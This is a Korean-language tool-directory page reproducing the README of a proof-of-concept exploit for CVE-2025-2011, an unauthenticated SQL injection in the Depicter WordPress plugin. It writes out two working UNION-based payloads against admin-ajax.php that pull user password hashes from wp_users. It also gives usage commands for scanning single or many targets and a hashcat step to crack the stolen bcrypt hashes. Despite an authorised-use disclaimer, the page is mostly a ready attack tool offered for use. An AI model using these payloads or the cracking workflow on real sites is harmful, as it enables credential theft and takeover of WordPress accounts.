Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-2011 — CVE-2025-2011에 대한 익스플로잇 | Kitploit
도구/GitHubGitHub/x3rx3ssec/cve-2025-2011
Password CrackingVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubx3rx3ssec/cve-2025-2011

CVE-2025-2011

CVE-2025-2011에 대한 익스플로잇

저장소 보기
18개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-2011 PoC

By: X3RX3S 하지만 Ash Wesker가 내 코드를 가져다가 자기 배너로 GPT 돌려서 대담하게 가로챘음 ;) 여기 참조 ---> https://github.com/Ashwesker/Blackash-CVE-2025-2011 '그의' 코드에서 내 닉네임도 볼 수 있음 -_-'

목적: WordPress 사이트를 대상으로 SQL 인젝션 취약점(CVE-2025-2011)을 테스트하기 위한 개념 증명(PoC) 도구.
면책 조항: 소유했거나 테스트에 대한 명시적 서면 허가를 받은 시스템에서 만 사용하세요. 무단 테스트는 불법이며 비윤리적입니다. Screenshot From 2025-11-02 19-44-16

취약점 정보 :)

  • WordPress용 Depicter의 Slider & Popup Builder 플러그인은 3.6.1까지의 모든 버전에서 사용자가 제공한 매개변수에 대한 이스케이프 처리 부족과 기존 SQL 쿼리에 대한 사전 준비 부족으로 인해 's' 매개변수를 통한 일반적인 SQL 인젝션에 취약합니다. 이로 인해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 덧붙여 데이터베이스에서 민감한 정보를 추출할 수 있습니다.

기능

  • 두 가지 SQLi 페이로드(-p 1 또는 -p 2로 선택 가능)
  • Bcrypt($2a$, $2b$, $2y$) 해시 탐지, $wp$ 접두사 변형 포함
  • 호스트 이름별 결과 저장: results_<hostname>.txt
  • 프롬프트와 함께 제공되는 선택적 bcrypt(-m 3200) Hashcat 통합
  • 단일 URL(-u) 또는 파일(-f)을 통한 다중 대상 지원

요구 사항

  • Python 3.8+
  • pip 패키지:
    • requests
    • colorama

의존성 설치:

root@kitploit:~
pip install requests colorama

선택 사항(크래킹용):

  • hashcat이 설치되어 PATH에 있어야 함(기본값은 /usr/share/wordlists/rockyou.txt)
  • /usr/share/wordlists/rockyou.txt 같은 워드리스트

사용법

스크립트를 실행 가능하게 만들기(선택 사항):

root@kitploit:~
chmod +x CVE-2025-2011.py

단일 대상(기본 페이로드 1):

root@kitploit:~
python3 CVE-2025-2011.py -u https://example.com

단일 대상(페이로드 2):

root@kitploit:~
python3 CVE-2025-2011.py -u https://example.com -p 2

파일에서 여러 대상 지정(줄마다 URL 하나):

root@kitploit:~
python3 CVE-2025-2011.py -f targets.txt

출력

테스트된 각 호스트에 대해 스크립트는 결과 파일을 저장합니다:

root@kitploit:~
results_<hostname>.txt

bcrypt 해시가 발견되면 hashes.txt에 저장되고 Hashcat으로 크래킹할지 묻는 메시지가 표시됩니다. 스크립트가 사용하는 Hashcat 명령 예시:

root@kitploit:~
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

참고: bcrypt는 설계상 느립니다. 크래킹에 매우 오랜 시간이 걸릴 수 있으며 GPU가 필요할 수 있습니다.

페이로드

  • 페이로드 1(기본값):
root@kitploit:~
/wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+x
  • 페이로드 2:
root@kitploit:~
/wp-admin/admin-ajax.php?action=depicter-lead-list&s=test%27))+table_name+UNION+select+user_pass+FROM+wp_users--+x

법적 고지 및 책임 있는 사용

이 도구는 교육 및 방어 목적으로만 제공됩니다. 명시적 허가가 없는 시스템에는 사용하지 마십시오. 작성자와 배포자는 오용에 대해 어떠한 책임도 지지 않습니다. 소유하지 않은 대상을 테스트하기 전에 항상 서면 승인을 받으십시오.

참고 사항 및 튜닝

  • 다른 워드리스트를 사용하는 경우 스크립트의 run_hashcat 함수를 원하는 목록을 가리키도록 업데이트하세요.
  • Hashcat이 설치되지 않았거나 해시 크래킹을 원하지 않으면 메시지가 표시될 때 N이라고 답하세요.
  • 대규모 스캔을 위해 스크립트에서 타임아웃과 스레드 동작을 조정할 수 있습니다.

뒤섞어 조합한 사람

  • X3RX3S
  • 책임 있는 보안 연구 워크플로우 및 Chocapikk에서 영감을 받음 (https://github.com/Chocapikk.
도구 다운로드